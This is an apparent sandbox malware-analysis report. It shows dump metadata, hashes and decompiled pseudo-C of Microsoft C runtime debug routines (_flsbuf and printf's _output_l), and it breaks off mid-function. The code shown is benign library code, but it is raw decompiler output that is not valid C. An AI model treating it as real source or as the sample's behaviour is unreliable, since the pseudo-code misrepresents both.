Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction ID: 970bbcc35ce2b6ec0f9ee0adf44c021f38be5a9009393c3f477ef00760cc6baa
Opcode Fuzzy Hash: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction Fuzzy Hash: E351F875E00208EFDB14CF95D491AAEBBB1FF88324F148299E8456B395D734EE81CB45

Uniqueness

Uniqueness Score: -1.00%

Function 004267C1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004267C1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00432FF0( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E210();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432CB0(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00432FF0( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426480() + 0x20 ||  *(_t190 - 8) == E00426480() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433E20(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D60(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x004267f9
0x00426843
0x0042684f
0x0042685e
0x00426864
0x0042686b
0x00426872
0x00426875
0x00426883
0x004268bb
0x004268c7
0x004269c6
0x004269e1
0x004269e4
0x004269ea
0x00426a03
0x004269ec
0x004269f2
0x004269f8
0x004269fb
0x004269fb
0x00000000
0x004269ea
0x004268d8
0x004268da
0x004268df
0x004268e1
0x004268e6
0x004268eb
0x004268ed
0x004268f2
0x004268f8
0x004268fa
0x004268fa
0x004268f8
0x00426906
0x00426915
0x00426923
0x0042692a
0x0042694c
0x0042696f
0x00426954
0x0042696a
0x0042696a
0x00426979
0x0042697d
0x00426980
0x00000000
0x00426982
0x00426988
0x00426994
0x00426997
0x004269a3
0x00000000
0x00000000
0x004269ae
0x004269b1
0x004269b4
0x00000000
0x004269b4
0x0042692c
0x00426943
0x004269b9
0x004269c2
0x00000000
0x004269c2
0x0042692a
0x00426890
0x0042689f
0x004268a3
0x004268a8
0x004268ad
0x00000000
0x00000000
0x00000000
0x004268af
0x004268af
0x004268b3
0x004268b8
0x00000000
0x004268b8
0x004267fb
0x004267fe
0x0042680e
0x0042682c
0x00426838
0x0042683b
0x00426a08
0x00426a0b
0x00426a0b
0x00426819
0x00426827
0x00000000
0x00426827

APIs

__isatty.LIBCMTD ref: 004268A3
__getbuf.LIBCMTD ref: 004268B3
__write.LIBCMTD ref: 0042693B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004268DA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004268E6

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction ID: 4e049de38fc3de97e6c9e63fa584a551701de0bc58572c64f3859794633f0221
Opcode Fuzzy Hash: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction Fuzzy Hash: B2510978B00208EFDB04DF94D491AADFB71FF88324F55829AD8896B395D635EA81CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00427BC5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427BC5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00428290(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004282D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E00428290(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004282D0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E00434220(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E004282D0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E00428290(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C3D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004280E8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E00431210( *(_t524 - 0x251) & 0x000000ff, E0041ACE0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E004281F0( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E004281F0( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E210();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422D00(_t509))) = 0x16;
																		E00422A90(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041ACB0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428120; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428108))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428148; // 0x79ff9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428134))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
